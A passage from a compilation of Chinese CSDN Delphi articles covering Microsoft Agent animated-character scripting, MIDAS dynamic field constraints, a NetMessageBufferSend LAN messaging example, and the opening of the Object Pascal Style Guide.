3：请求被中断

4：请求正在处理

Request对象在上面的程序中的作用就是强制Merlin停止鼓掌说话，你也可以用在多个Character的代码中，例如：让多个Character

聊天，

procedure WaitFor(AReq: IAgentCtlRequest);

var

Status: LongInt;

begin

if AReq <> nil then

repeat

Application.ProcessMessages;

Status := AReq.Get_Status;

until (Status <> RequestPending) and (Status<>RequestInProgress)

end;

end;

Req := Merlin.Speak('Hello, Monkey King','');

WaitFor(Req);

Req := MonkeyKing.Speak('Hello, Merlin','');

WaitFor(Req);

Req := Merlin.Speak('Byebye, Monkey King', '');

WaitFor(Req);

Req := MonkeyKing.Speak('bye', '');

上面的程序使用的是early binding, 需要import MS Agent 2.0的TypeInfo, 如果使用late binding,则可以这样

uses

ComObj;

var

vAgent: OleVariant;

Merlin: OleVariant;

Req: OleVariant;

begin

vAgent := CreateOleObject('Agent.Control.2');

vAgent.Connected := True;

Req := vAgent.Characters.Load('Merlin', 'Merlin.acs');

Merlin := vAgent.Characters.Character('Merlin');

Req := Merlin.Show(False);

WaitFor(Req):

Req := Merlin.Play('Congratulate_2');

WaitFor(Req);

Merlin.Speak('Hello, guys', '');

Merlin.Hide;

vAgent.Characters.Unload('Merlin');

vAgent.Connected := False;

end.

不过速度上面会慢，因为涉及到接口的多次查询和转换

以上代码只是简单的演示和说明，只能作为参考。

以上技术资料可以参考 <<Delphi COM Programming>> Eric Harmon

MSDN---->Platform SDK-->User Interface Services--> Microsoft Agent

必要的准备：因众多语言中，本人只略懂Delphi, 所以所有的思路及程序代码都以Object Pascal描述，因此

读者应具备一定的Object Pascal基础和Delphi使用经验。另外由于MS Agent包含有一组ActiveX组件，要运行程序，

也必须先在本地计算机上面安装Microsoft Agent 2.0。Microsoft Agent 2.0和角色文件请至www.Microsoft.com下载。本文

所有的源程序可以发信至lukejee@263.net向我索取。

Luke Jee

2001.11.22


CSDN_文档中心_Microsoft Agent技术在Delphi中的应用

解放军合肥炮兵学院
张建军
中保财险安徽省铜陵市分公司
韩莹
---- Microsoft Agent是微软公司于1997年9月发布的一项代理软件开发技术，而后被集成到Internet Explorer 4.0 Plus及更高版本中，目前版本为2.0，支持简体中文。作为一种软件代理工具，Agent以其强大的交互功能、鲜明的人性特点、优美的操作界面和简便统一的编程方法，对由菜单、按钮、提示框等组成的传统人机交互方式产生了很大影响，在多媒体创作、Web应用、教育软件、软件帮助系统和辅助工具制作等方面，具有广阔的应用前景。

一、 Microsoft Agent技术简介

---- Agent一词的中文意思是“代理”，故名思意，这类代理软件的主要作用是提供一种易于理解和使用的操作界面，接受用户的指令、代替用户完成某些复杂繁琐的工作、或为用户提供帮助。科学研究表明：从人机工程的角度考虑，赋予电脑或程序更多人性化色彩，如支持语音合成输出信息、语音识别输入指令、智能提示、动画等，能够充分提高人机交互的有效性和易用性。

---- 我们知道，在Office 97帮助系统中有一种叫作Office助手的代理软件，其中幽默风趣的动画人物，如“大眼夹”，能够根据用户的操作步骤“智能化”地提出一些建议或帮助信息。与Office助手相比，Agent功能更加丰富强大，表现在：

Office助手沿用传统的不透明矩形窗口，窗口后面的背景被完全挡住；Agent动画人物本身是一个“AlwaysOnTop”窗口，只有人物身体部分挡住背景，其余部分透明。

Office助手只允许Office 97的各个组件调用，Agent动画人物可由任何Windows程序调用；

Agent支持文字气球和输入提示条，在输出语音的同时把文字输出至一个卡通式文字气球中。如果电脑系统中安装有Agent语音识别引擎，当用户按住输入键，如Scroll Lock键，在Agent人物下方出现一个输入命令窗口，表示它正在“聆听”用户的语音命令。

Agent提供Genie、Merlin、Bobby和Peedy等动画人物，不仅具有优美诙谐的动作，而且可以通过声卡、麦克风与用户交谈。
二、 Microsoft Agent安装方法
---- Agent是一种ActiveX控件，其服务器程序（C:\WINDOWS\MSAGENT\Agentsvr.exe）运行在Win95/98/NT操作平台上，为其它调用Agent的客户程序提供服务。客户程序可以是利用VB、C++、Delphi、VFP、PB等开发的应用软件，也可以是HTML文件中的Visual Script、Java Script脚本语言代码。

安装Agent核心组件Msagent.exe。

安装Lernout & Hauspie TruVoice Text-to-Speech Engine（完成从文字合成语音的工作，目前版本只支持英语）Cgram.exe。

安装Microsoft Command and Control Speech Engine（提供语音识别功能，目前版本只支持英语）Actcnc.exe。

Agent动画人物人物数据文件。Agent支持单结构角色文件（.acs，角色数据与动画数据存于同一个文件），也支持分离结构角色文件（.acf，角色数据存于.acf中，动画数据存于.aca中）。基于本地硬盘和网络的应用程序可采用.acs文件，基于Web页面的HTML文件在浏览器中访问时会自动调用，习惯上多使用.acs文件。
---- 上述文件可从 http://www.microsoft.com//workshop/imedia/agent/default.asp下载。
三、 Microsoft Agent编程要点

---- 1、 在Delphi中添加Agent控件

---- 在Delphi IDE中选择菜单Component，Import ActiveX Control——在Import ActiveX下的列表框中选择Microsoft Agent Control 2.0（Version 2.0），点击按钮Install——在Install对话框中点击按钮OK——在Confirm对话框中点击按钮Yes——在对话框中点击按钮OK。至此，Agent控件被添加到Delphi组件板ActiveX页上。

---- 2、 在Delphi中调用Agent控件

---- ⑴、在Delphi IDE 中新建Project1（包含Form1），在Form1上放置Agent1（Name属性为MyAgent）、Button1。

---- ⑵、定义变量。

Var
Peedy: IagentCtlCharacterEx;
Request1,Request2: IagentCtlRequest;

---- ⑶Agent主要属性、方法、事件。

---- ①Characters属性与Load、Unload方法：初始化Agent，加载动画数据，卸载动画人物

---- Request1 := MyAgent.Characters.Load( 'Peedy', 'C:\Windows\System\Peedy.acs' );
---- Peedy := MyAgent.Characters.Character( 'Peedy' );
---- MyAgent.Characters.Unload('Peedy');

---- ②Show与Hide方法：显示、隐藏Agent动画人物。参数Fast表示动画人物显示、隐藏的速度。Fast为0表示Agent飞入、飞出，Fast为1表示Agent直接出现、消失，没有动画过程。

---- Peedy.Show(0);
---- Peedy.Hide(1);

---- ③StopAll、Stop方法：停止所有动作。
---- Peedy.StopAll('');
---- Peedy.Stop(Request);

---- ④Connected属性：Agent是否与Microsoft Agent服务器连接。
---- MyAgent.Connected := True;

---- ⑤Get_Height、Get_Width、Set_Height、Set_Width方法：获得、设置Agent动画人物的高度、宽度。

AgentHight := Peedy.Get_Height;
AgentWidth := Peedy.Get_Width;
Peedy.Set_Height( round(AgentHeight / 2 ));
Peedy.Set_Width( round( AgentWidth / 2 ));

---- ⑥MoveTo方法：参数x，y表示Agent动画人物移动到的坐标，参数Speed表示移动的速度。

---- Peedy.MoveTo( (Screen.Width-Peedy.Get_Width) Div 2, (Screen.Height-Peedy.Get_Height) Div 2, 2 );

---- ⑦Interrupt方法：中断指定角色的动画。在几十种动画动作中，有一类后缀名为“ing” 的动作比较特殊，如“processing”、“searching”、“reading”、“writing”，一旦执行就必须通过调用另外一个动画人物的Interrupt方法才能中断 。角色不能中断自身的动作，否则会导致异常。

Request1 := Robby.Play('reading');
Peedy.Interrupt(Request1);

---- ⑧Wait方法：在多个不同动画人物之间协调动画动作，如等待sRobby的当前动作执行完毕后，Peedy做另外一个动作。

Request1 := Robby.Play('read');
Peedy.Wait(Request1);
Peedy.Play('search');

---- ⑨Play方法：执行指定的动画动作，参数Animation为一常量，表示动画类型。Agent提供了几十种预定义动作，开发软件时只需直接调用这些常量即可。下面简要介绍其中常用的一些常量仅供编程参考。

---- 动作类型 中文含意 动作类型 中文含意 动作类型 中文含意

Acknowledge 承认 LookDown 向下看 Sad 悲伤
Alert 警告 LookDownBlink 向下看眨眼 Search 寻找
Announce 声明 LookUp 向上看 StartListening 开始聆听
Blink 眨眼 LookUpBlink 向下看眨眼 StopListening 停止聆听
Confused 迷惑 LookLeft 向左看 Suggest 建议
Congratulate 祝贺 LookLeftBlink 向左看眨眼 Surprised 吃惊
Decline 拒绝 LookRight 向右看 Think 思考
DontRecognize 不承认 LookRightBlink 向右看眨眼 Wave 挥动
Explain 解释 MoveDown 向下移动 Write 书写
GestureDown 向下姿势 MoveUp 向上移动 Processing 计算……
GestureUp 向上姿势 MoveRight 向右移动 Reading 阅读……
GestureLeft 向左姿势 MoveLeft 向左移动 Searching 寻找……
GestureRight 向右姿势 Pleased 高兴 Writing 书写……
GetAttention 获得注意 Read 阅读 Greet
问候 RestPose 恢复初始状态
Request := peedy.Play('search');

---- ⑩Speak方法：Agent通过调用语音合成引擎，支持英语的语音合成输出功能，只需输入英文字符串，Agent就能通过声卡、音箱“说话”。Agent的当前版本尚不具备支持中文语音合成功能，所以只能以.wav文件的形式播放中文。使用时可以将想要说的中文句子预先录好，以.wav形式存储，在程序中调用即可。参数Text表示文字气球中显示的文字，参数url表示.wav文件的路径。

---- Peedy.speak('嗨，朋友们，你们好，现在由我为您提供帮助！','C:\新建文件夹\Help.wav');

---- Peedy.Speak( 'Do you like my help? If so, Please send me an email! Thank you!', '' );

---- ⑾Commands.Add方法：在Button1Click事件中为Agent添加自定义语音识别命令，参数const Name表示语音命令的标识，参数Caption表示该命令在输入命令窗口中的显示标题，参数Voice表示该命令对应的语句。当用户通过麦克风向动画人物发出语音命令时，触发Agent的Command事件，因此我们可以另外编写一个过程完成语音识别功能。

procedure TForm1.Button1Click(Sender: TObject);
begin
Peedy.Commands.Add('Delphi','Run
Delphi','Delphi',True,True);
Peedy.Commands.Add('Visual Basic','
Run VB','VB',True,True);
Peedy.Show(0);
Peedy.Speak('What can I do for you, sir?','');
end;

---- ⑷、按F9运行程序。以上程序在Delphi3.0/4.0、Windows95/98/NT简体中文版环境下调试通过。


CSDN_文档中心_MIDAS中动态强制约束编程

引言

一个用来区分 MIDAS 与其他分布式数据库解决方案的特征就是，MIDAS 支持动态数据约束（constraints

）功能。这些动态约束可以控制由 AppServer 到瘦客户端的分布式数据的外观、业务确认规则、是否显示等等

功能。作者（John Kaster）认为这是分布式数据库需具备的一个非常重要的特征。

MIDAS 数据包（Data Packets）概述
先介绍一下MIDAS 数据包（Data Packets）格式的详细特征，MIDAS 数据包（Data Packets）是一个独立

于语言和中立传输（transport-neutral）的二进制流格式数据，他包括元数据（metadata）, 约束（

constraints）, 数据（data）, 和deltas。
元数据是用来描述按照 APPSERVER 来分布的数据集。 MIDAS 2，3 支持嵌套数据集，因此单个数据包能够

包含一个乃至于多个数据集的信息。约束是用来校验和显示数据集中的每个栏位的相关业务规则。Data 是数据

集的实际数据栏位和记录数。Deltas 记录客户端的数据修改的 Log ，且是属于自动维护和传送到 AppServer

中的。

MIDAS 数据栏位约束

数据栏位约束是在 AppServer 与客户程序之间传播，可以快速修改业务规则，非常简便的发布新的客户程

序，基于服务器端的业务规则，可以自动强制应用于客户程序，从而增强了分布式应用系统的生存周期以及系

统的可维护性。
如果没有充分的理由，应在客户端强迫执行基于服务器端的业务规则，这样将会提供应用系统的可靠性和

数据的准确性，因为有问题的数据包会立即被客户程序检测到，所以应该培养正确的使用数据值和减少无效数

据的网络回路的习惯。简单一点说，数据约束能让你快速构建分布式系统，及时响应相关修改要求和提高系统

的可靠性
MIDAS 2、3 数据包能够自动的由 AppServer 到客户端传递以下数据栏位属性:
Constraint Property Description
----------------------------------------------------------------------------------------------
ConstraintErrorMessage Message to display if data for the field if not valid.
Example: CustNo cannot be blank
CustomConstraint Constraints to place on the validation of the field. Expressions
can be used for this constraint.
Example: CustNo IS NOT NULL
DisplayFormat Controls formatting of the field for display
DisplayLabel Used as the data field's default column heading.
Example: Customer #
EditMask Used for customizing data entry for the field.
Example: 0000
MaxValue The maximum value of a numeric field
MinValue The minimum value of a numeric field
Visible A boolean value indicating whether the field should be visible in
a grid by default
实现约束编辑服务器（Constraint Editor Server）

只要客户连接到 MIDAS Server ，相关RDM(remote data module)就会自动创建并提供给客户来访问Server
约束编辑服务器(ConstraintSvr.exe)在第一次使用这些RDM时会去获取 provider 的列表和包含在这些

provider 中栏位约束。ConstraintSvr 也同样为编辑每个provider中的栏位约束提供一个用户接口和为每个应

用实例保存更改结果。
在更改结果保存后（在系统运行期），客户程序只需要简单的重新连接的 AppServer，获取一个新的数据

包，此包中包含新的业务约束。
变量角色（A Cast of Variants）
开始建立一个能够提供运行期编辑数据约束的应用程序，只需要做一点点代码定制。Screen 对象有一个属

性可以列出一个应用程序中的所有数据模块（data modules），同样我们能通过检查此属性来建立包含在数据

模块中的Provider 的列表。此 Provider 名列表是通过一个变量类型从数据模块中输出，同样也需要通过适当

的Delphi 类型来接收数据模块的 Provider 命名。代码如下:

{ Copyright (c) 1999 - 2000 by John Kaster, Dan Miser and Louis Kleiman }
procedure GetProviderList( ProviderList : TStrings );
var
ProviderNames : OLEVariant;
I : Integer;
DataSet : TDataSet;
GenObject : TComponent;
begin
if (Screen.DataModuleCount = 0) then
Raise Exception.Create( 'No data modules are active.' );
ProviderList.Clear;
{ Get the list of all providers for the first data module.
All instances of the data module are probably the same. }
ProviderNames := IConstraints(TConstraints(Screen.DataModules[0])).
AS_GetProviderNames;
for I := VarArrayLowBound(ProviderNames, 1) to
VarArrayHighBound(ProviderNames, 1) do
begin
{ Retrieve the component matching the provider name }
GenObject := Screen.DataModules[0].FindComponent(ProviderNames[I]);
if (GenObject is TDataSetProvider) then
DataSet := TDataSetProvider(Screen.DataModules[0].
FindComponent(ProviderNames[I])).DataSet
else if (GenObject is TDBDataSet) then
DataSet := TDataSet(Screen.DataModules[0].
FindComponent(ProviderNames[I]))
else
DataSet := nil;
{ Add it to the list of providers, attaching the Dataset if assigned }
ProviderList.AddObject(ProviderNames[I], DataSet);
end; { for }
end; { GetProviderList() }

接收约束内容

现在从RDM的实例获取 provider 列表，其他的都是一些传统的 Delphi 代码。通过一个列表框元件来显示

Provider ,通过另一个列表框元件来显示每个提供者的栏位约束值。 Provider列表框元件命名为lbProviders

。代码如下：

procedure TFormConstraintsEditor.lbProvidersClick(Sender: TObject);
var
DataSet : TDataSet;
I : Integer;
SaveActive : Boolean;
begin
lbFields.Clear;
DataSet := TDataSet(lbProviders.Items.Objects[lbProviders.ItemIndex]);
if Assigned(DataSet) then
begin
SaveActive := DataSet.Active;
DataSet.Open;
try
for I := 0 to DataSet.FieldCount - 1 do
lbFields.Items.AddObject(DataSet.Fields[I].FieldName,
DataSet.Fields[I]);
finally
DataSet.Active := SaveActive;
end; { try...finally }
end; { if }
end;

编辑约束内容值
现在使用编辑元件来为所选的栏位赋值。拖放这些控件到表单上，然后在下面的click 事件中将相应的选

取的栏位的约束属性值赋值给编辑元件。 字段栏位列表框元件命名为lbFields 。代码如下：

procedure TFormConstraintsEditor.lbFieldsClick(Sender: TObject);
var
Field : TField;
begin
Field := TField(lbFields.Items.Objects[lbFields.ItemIndex]);
if Assigned(Field) then
begin
edErrorMessage.Text := Field.ConstraintErrorMessage;
edCustomConstraint.Text := Field.CustomConstraint;
edDisplayLabel.Text := Field.DisplayLabel;
edEditMask.Text := Field.EditMask;
edDisplayFormat.Text := '';
edMinValue.Text := '';
edMaxValue.Text := '';
cbVisible.Checked := Field.Visible;
if Field is TNumericField then
begin
with Field as TNumericField do
edDisplayFormat.Text := DisplayFormat;
if Field is TFloatField then
with Field as TFloatField do
begin
edMinValue.Text := FloatToStr( MinValue );
edMaxValue.Text := FloatToStr( MaxValue );
end
else if Field is TBCDField then
with Field as TBCDField do
begin
edMinValue.Text := FloatToStr( MinValue );
edMaxValue.Text := FloatToStr( MaxValue );
end
else if Field is TIntegerField then
with Field as TIntegerField do
begin
edMinValue.Text := IntToStr( MinValue );
edMaxValue.Text := IntToStr( MaxValue );
end
else if Field is TLargeIntField then
with Field as TLargeIntField do
begin
edMinValue.Text := IntToStr( MinValue );
edMaxValue.Text := IntToStr( MaxValue );
end;
end
else if Field is TDateTimeField then
with Field as TDateTimeField do
edDisplayFormat.Text := DisplayFormat;
end; { if }
end;

提交已编辑的约束值

在给字段栏位约束赋给了相应的值后，需提交应用这些约束值。代码如下：

procedure TFormConstraintsEditor.actApplyExecute(Sender: TObject);
var
Field : TField;
begin
Field := TField(lbFields.Items.Objects[lbFields.ItemIndex]);
if Assigned(Field) then
begin
Field.ConstraintErrorMessage := edErrorMessage.Text;
Field.CustomConstraint := edCustomConstraint.Text;
Field.DisplayLabel := edDisplayLabel.Text;
Field.EditMask := edEditMask.Text;
Field.Visible := cbVisible.Checked;
if Field is TNumericField then
begin
with Field as TNumericField do
DisplayFormat := edDisplayFormat.Text;
if Field is TFloatField then
with Field as TFloatField do
begin
MinValue := StrToInt( edMinValue.Text );
MaxValue := StrToInt( edMaxValue.Text );
end
else if Field is TBCDField then
with Field as TBCDField do
begin
MinValue := StrToInt( edMinValue.Text );
MaxValue := StrToInt( edMaxValue.Text );
end
else if Field is TIntegerField then
with Field as TIntegerField do
begin
MinValue := StrToInt( edMinValue.Text );
MaxValue := StrToInt( edMaxValue.Text );
end
else if Field is TLargeIntField then
with Field as TLargeIntField do
begin
MinValue := StrToInt( edMinValue.Text );
MaxValue := StrToInt( edMaxValue.Text );
end;
end
else if Field is TDateTimeField then
with Field as TDateTimeField do
DisplayFormat := edDisplayFormat.Text;
end; { if }
end;

现已创建了 ConstraintSvr 的主要代码，详细代码可以下载。

创建强制约束的客户程序

客户程序比创建服务器程序简单多拉，因为他只需要简单的接收一个修改后的数据包，而无须有编写

Server 的知识。这是一个非常完美和强劲的动态约束程序示例：我们只需要在服务器端修改相关业务而无须修

改客户程序，也无须发布新的客户程序。
通过以下步骤建立客户端程序：
拖一个 DCOMConnection 元件
设置: RemoteServer=ConstraintSvr.Constraints
拖一个 ClientDataset 元件
设置: RemoteServer=DCOMConnection1
设置: ProviderName=prvCustomer
拖一个 DataSource
设置: DataSet=ClientDataset1
拖一个 DBNavigator
设置: DataSource=DataSource1
拖一个 Button
设置: Name=btnOpen
双击 button 建立 click 事件，btnOpenClick 事件代码如下：
procedure TFormConstraintClient.BtnOpenClick(Sender: TObject);
begin
if ClientDataSet1.Active then
ClientDataSet1.Close;
ClientDataSet1.Open; { Refresh the dataset }
BtnOpen.Caption := '&Reopen';
end;


CSDN_文档中心_ms agent 经典用法

作者:解放军合肥炮兵学院
张建军
中保财险安徽省铜陵市分公司
韩莹

收集:csdn程序大本营战士
atyzy(笑笑)

---- Microsoft Agent是微软公司于1997年9月发布的一项代理软件开发技术，而后被集成到Internet Explorer 4.0 Plus及更高版本中，目前版本为2.0，支持简体中文。作为一种软件代理工具，Agent以其强大的交互功能、鲜明的人性特点、优美的操作界面和简便统一的编程方法，对由菜单、按钮、提示框等组成的传统人机交互方式产生了很大影响，在多媒体创作、Web应用、教育软件、软件帮助系统和辅助工具制作等方面，具有广阔的应用前景。

一、 Microsoft Agent技术简介

---- Agent一词的中文意思是“代理”，故名思意，这类代理软件的主要作用是提供一种易于理解和使用的操作界面，接受用户的指令、代替用户完成某些复杂繁琐的工作、或为用户提供帮助。科学研究表明：从人机工程的角度考虑，赋予电脑或程序更多人性化色彩，如支持语音合成输出信息、语音识别输入指令、智能提示、动画等，能够充分提高人机交互的有效性和易用性。

---- 我们知道，在Office 97帮助系统中有一种叫作Office助手的代理软件，其中幽默风趣的动画人物，如“大眼夹”，能够根据用户的操作步骤“智能化”地提出一些建议或帮助信息。与Office助手相比，Agent功能更加丰富强大，表现在：

Office助手沿用传统的不透明矩形窗口，窗口后面的背景被完全挡住；Agent动画人物本身是一个“AlwaysOnTop”窗口，只有人物身体部分挡住背景，其余部分透明。

Office助手只允许Office 97的各个组件调用，Agent动画人物可由任何Windows程序调用；

Agent支持文字气球和输入提示条，在输出语音的同时把文字输出至一个卡通式文字气球中。如果电脑系统中安装有Agent语音识别引擎，当用户按住输入键，如Scroll Lock键，在Agent人物下方出现一个输入命令窗口，表示它正在“聆听”用户的语音命令。

Agent提供Genie、Merlin、Bobby和Peedy等动画人物，不仅具有优美诙谐的动作，而且可以通过声卡、麦克风与用户交谈。

二、 Microsoft Agent安装方法

---- Agent是一种ActiveX控件，其服务器程序（C:\WINDOWS\MSAGENT\Agentsvr.exe）运行在Win95/98/NT操作平台上，为其它调用Agent的客户程序提供服务。客户程序可以是利用VB、C++、Delphi、VFP、PB等开发的应用软件，也可以是HTML文件中的Visual Script、Java Script脚本语言代码。

安装Agent核心组件Msagent.exe。

安装Lernout & Hauspie TruVoice Text-to-Speech Engine（完成从文字合成语音的工作，目前版本只支持英语）Cgram.exe。

安装Microsoft Command and Control Speech Engine（提供语音识别功能，目前版本只支持英语）Actcnc.exe。

Agent动画人物人物数据文件。Agent支持单结构角色文件（.acs，角色数据与动画数据存于同一个文件），也支持分离结构角色文件（.acf，角色数据存于.acf中，动画数据存于.aca中）。基于本地硬盘和网络的应用程序可采用.acs文件，基于Web页面的HTML文件在浏览器中访问时会自动调用，习惯上多使用.acs文件。

---- 上述文件可从 http://www.microsoft.com//workshop/imedia/agent/default.asp下载。

三、 Microsoft Agent编程要点

---- 1、 在Delphi中添加Agent控件

---- 在Delphi IDE中选择菜单Component，Import ActiveX Control——在Import ActiveX下的列表框中选择Microsoft Agent Control 2.0（Version 2.0），点击按钮Install——在Install对话框中点击按钮OK——在Confirm对话框中点击按钮Yes——在对话框中点击按钮OK。至此，Agent控件被添加到Delphi组件板ActiveX页上。

---- 2、 在Delphi中调用Agent控件

---- ⑴、在Delphi IDE 中新建Project1（包含Form1），在Form1上放置Agent1（Name属性为MyAgent）、Button1。

---- ⑵、定义变量。

Var Peedy: IagentCtlCharacterEx; Request1,Request2: IagentCtlRequest;
---- ⑶Agent主要属性、方法、事件。

---- ①Characters属性与Load、Unload方法：初始化Agent，加载动画数据，卸载动画人物

---- Request1 := MyAgent.Characters.Load( 'Peedy', 'C:\Windows\System\Peedy.acs' );
---- Peedy := MyAgent.Characters.Character( 'Peedy' );
---- MyAgent.Characters.Unload('Peedy');

---- ②Show与Hide方法：显示、隐藏Agent动画人物。参数Fast表示动画人物显示、隐藏的速度。Fast为0表示Agent飞入、飞出，Fast为1表示Agent直接出现、消失，没有动画过程。

---- Peedy.Show(0);
---- Peedy.Hide(1);

---- ③StopAll、Stop方法：停止所有动作。
---- Peedy.StopAll('');
---- Peedy.Stop(Request);

---- ④Connected属性：Agent是否与Microsoft Agent服务器连接。
---- MyAgent.Connected := True;

---- ⑤Get_Height、Get_Width、Set_Height、Set_Width方法：获得、设置Agent动画人物的高度、宽度。

AgentHight := Peedy.Get_Height; AgentWidth := Peedy.Get_Width; Peedy.Set_Height(
round(AgentHeight / 2 )); Peedy.Set_Width( round( AgentWidth / 2 ));
---- ⑥MoveTo方法：参数x，y表示Agent动画人物移动到的坐标，参数Speed表示移动的速度。

---- Peedy.MoveTo( (Screen.Width-Peedy.Get_Width) Div 2, (Screen.Height-Peedy.Get_Height) Div 2, 2 );

---- ⑦Interrupt方法：中断指定角色的动画。在几十种动画动作中，有一类后缀名为“ing” 的动作比较特殊，如“processing”、“searching”、“reading”、“writing”，一旦执行就必须通过调用另外一个动画人物的Interrupt方法才能中断 。角色不能中断自身的动作，否则会导致异常。

Request1 :=
Robby.Play('reading'); Peedy.Interrupt(Request1);
---- ⑧Wait方法：在多个不同动画人物之间协调动画动作，如等待sRobby的当前动作执行完毕后，Peedy做另外一个动作。

Request1 := Robby.Play('read'); Peedy.Wait(Request1); Peedy.Play('search');
---- ⑨Play方法：执行指定的动画动作，参数Animation为一常量，表示动画类型。Agent提供了几十种预定义动作，开发软件时只需直接调用这些常量即可。下面简要介绍其中常用的一些常量仅供编程参考。

---- 动作类型 中文含意 动作类型 中文含意 动作类型 中文含意

Acknowledge 承认
LookDown 向下看 Sad 悲伤 Alert 警告 LookDownBlink 向下看眨眼 Search 寻找
Announce 声明 LookUp 向上看 StartListening 开始聆听 Blink 眨眼 LookUpBlink
向下看眨眼 StopListening 停止聆听 Confused 迷惑 LookLeft 向左看 Suggest
建议 Congratulate 祝贺 LookLeftBlink 向左看眨眼 Surprised 吃惊 Decline 拒绝
LookRight 向右看 Think 思考 DontRecognize 不承认 LookRightBlink 向右看眨眼
Wave 挥动 Explain 解释 MoveDown 向下移动 Write 书写 GestureDown 向下姿势
MoveUp 向上移动 Processing 计算…… GestureUp 向上姿势 MoveRight 向右移动
Reading 阅读…… GestureLeft 向左姿势 MoveLeft 向左移动 Searching 寻找……
GestureRight 向右姿势 Pleased 高兴 Writing 书写…… GetAttention 获得注意
Read 阅读 Greet 问候 RestPose 恢复初始状态 Request := peedy.Play('search');
---- ⑩Speak方法：Agent通过调用语音合成引擎，支持英语的语音合成输出功能，只需输入英文字符串，Agent就能通过声卡、音箱“说话”。Agent的当前版本尚不具备支持中文语音合成功能，所以只能以.wav文件的形式播放中文。使用时可以将想要说的中文句子预先录好，以.wav形式存储，在程序中调用即可。参数Text表示文字气球中显示的文字，参数url表示.wav文件的路径。

---- Peedy.speak('嗨，朋友们，你们好，现在由我为您提供帮助！','C:\新建文件夹\Help.wav');

---- Peedy.Speak( 'Do you like my help? If so, Please send me an email! Thank you!', '' );

---- ⑾Commands.Add方法：在Button1Click事件中为Agent添加自定义语音识别命令，参数const Name表示语音命令的标识，参数Caption表示该命令在输入命令窗口中的显示标题，参数Voice表示该命令对应的语句。当用户通过麦克风向动画人物发出语音命令时，触发Agent的Command事件，因此我们可以另外编写一个过程完成语音识别功能。

procedure TForm1.Button1Click(Sender: TObject); begin Peedy.Commands.Add('Delphi','Run
Delphi','Delphi',True,True); Peedy.Commands.Add('Visual Basic',' Run VB','VB',True,True);
Peedy.Show(0); Peedy.Speak('What can I do for you, sir?',''); end;
---- ⑷、按F9运行程序。以上程序在Delphi3.0/4.0、Windows95/98/NT简体中文版环境下调试通过。


CSDN_文档中心_netmessagebuffersend示例

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
function ToUnicode(str:string;dest:PWideChar):integer;
function SendMsg(Toh,From,Msg:string):integer;
function NetMessageBufferSend(servername:PWideChar;
MsgName:PWideChar;
FromName:PWideChar;
Buf: PWideChar;
var BufLen:integer):integer;cdecl;
type
TForm1 = class(TForm)
Button1: TButton;
ComboBox1: TComboBox;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
{$R *.dfm}
function NetMessageBufferSend; external 'netapi32.dll' name 'NetMessageBufferSend';
function ToUnicode(str:string;dest:PWideChar):integer;
var
len:integer;
begin
StringToWideChar(str,dest,len);
Result:=len;
end;
function SendMsg(Toh,From,Msg:string):integer;
var
ToName :array [0..64] of WideChar;
WMsgText:array [0..1000] of WideChar;
MsgLen, i:integer;
begin
for i := 0 to 64 do ToName[i] := #0;
ToUnicode(Toh,ToName);
for i := 0 to 1000 do WMsgText[i] := #0;
ToUnicode(Msg,WMsgText);
Result:=NetMessageBufferSend(nil,ToName,nil,@WMsgText,MsgLen);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
size:integer;
begin
sendmsg('192.168.2.16',',192.168.2.16','kjjkkjkjkj');
end;

end.


CSDN_文档中心_Object Pascal Style Guide

Object Pascal Style Guide - by Charles Calvert

Abstract:This article documents a standard style for formatting Delphi code. It is based on the conventions developed by the Delphi team.

Object Pascal Style Guide

This article documents a standard style for formatting Delphi code. It is based on the conventions developed by the Delphi team.

We take it for granted that many well established shops will have conventions different than those specified here. As a result, we strongly recommend using a tool that can convert your code into Borland style before submitting it to Borland, Project JEDI, or any other public source repository. We don't want to force you to change your conventions, but we insist that all code that ships with Borland products follows these conventions. We strongly encourage you to follow these conventions when submitting code into any form of public repository.

Object Pascal is a beautifully designed language. One of its great virtues is its readability. These standards are designed to enhance that readability of Object Pascal code. When developers follow the simple conventions laid out in this guide, they will be promoting standards that benefit all Delphi developers by using a uniform style that is easy to read. Efforts to enforce these standards will increase the value of a developer's source code, particularly during maintenance and debugging cycles.

It goes without saying that these are conventions based primarily on matters of taste. Though we believe in, and admire the style promoted in these pages, we support them not necessarily because we believe they are right and others are wrong, but because we believe in the efficacy of having a standard which most developers follow. The human mind adapts to standards, and finds ways to quickly recognize familiar patterns, thereby assimilating meaning quickly and effortlessly. It is the desire to create a standard that will make reading code as simple as possible for the largest number of people that is behind this effort. If at first our guidelines seem strange to you, we ask you to try them for awhile, and then we are sure you will grow used to them over time. Or, if you prefer, keep your code in your own format, and run it through a program that follows our guidelines before submitting it to Borland or to a public repository.

Some text editors, such as Visual SlickEdit can help you format your code according to a particular style. Readers who are aware of other tools that provide this same service should write me at that address provided at the end of this section.

One free formatter developed by Egbert van Nes is available at the following URL:
http://www.slm.wau.nl/wkao/delforexp.html.

A commercial option is CrackerJax for Delphi:
http://www.kineticsoftware.com/html/products.html.

Before closing this introduction, I want to reiterate that on the Borland web site, and on the CDs that we ship with our product, these standards are the law. We want to present our code in a unified and easy to read style, and enforcing the rules in this guide is the simplest way to achieve that end.

Do not post this specification on other web sites. Instead, simply link to this version of the document.

We accept feedback in the form of corrections or suggestions. Send your communications to Charlie Calvert .

Contents

  • 1.0 Introduction
    • 1.1 Background
    • 1.2 Acknowledgments

  • 2.0 Source Files
    • 2.1 Source-File Naming
    • 2.2 Source-File Organization
      • 2.2.1 Copyright/ID block comment
      • 2.2.2 unit declaration
      • 2.2.3 uses declarations
      • 2.2.4 class/interface declarations

  • 3.0 Naming Conventions
    • 3.1 Unit Naming
    • 3.2 Class/Interface Naming
    • 3.3 Field Naming
    • 3.4 Method Naming
    • 3.5 Local Variable Naming
    • 3.6 Reserved Words
    • 3.7 Type Declarations

  • 4.0 White Space Usage
    • 4.1 Blank Lines
    • 4.2 Blank Spaces
      • 4.2.1 A single blank space (not tab) should be used:
      • 4.2.2 Blanks should not be used:
    • 4.3 Indentation
    • 4.4 Continuation Lines

  • 5.0 Comments
    • 5.1 Block Comments
    • 5.2 Single-Line Comments

  • 6.0 Classes
    • 6.1 Class Body Organization
    • 6.2 Method Declarations
    • 6.3 Data Store Declarations

  • 7.0 Interfaces
    • 7.1 Interface Body Organization

  • 8.0 Statements
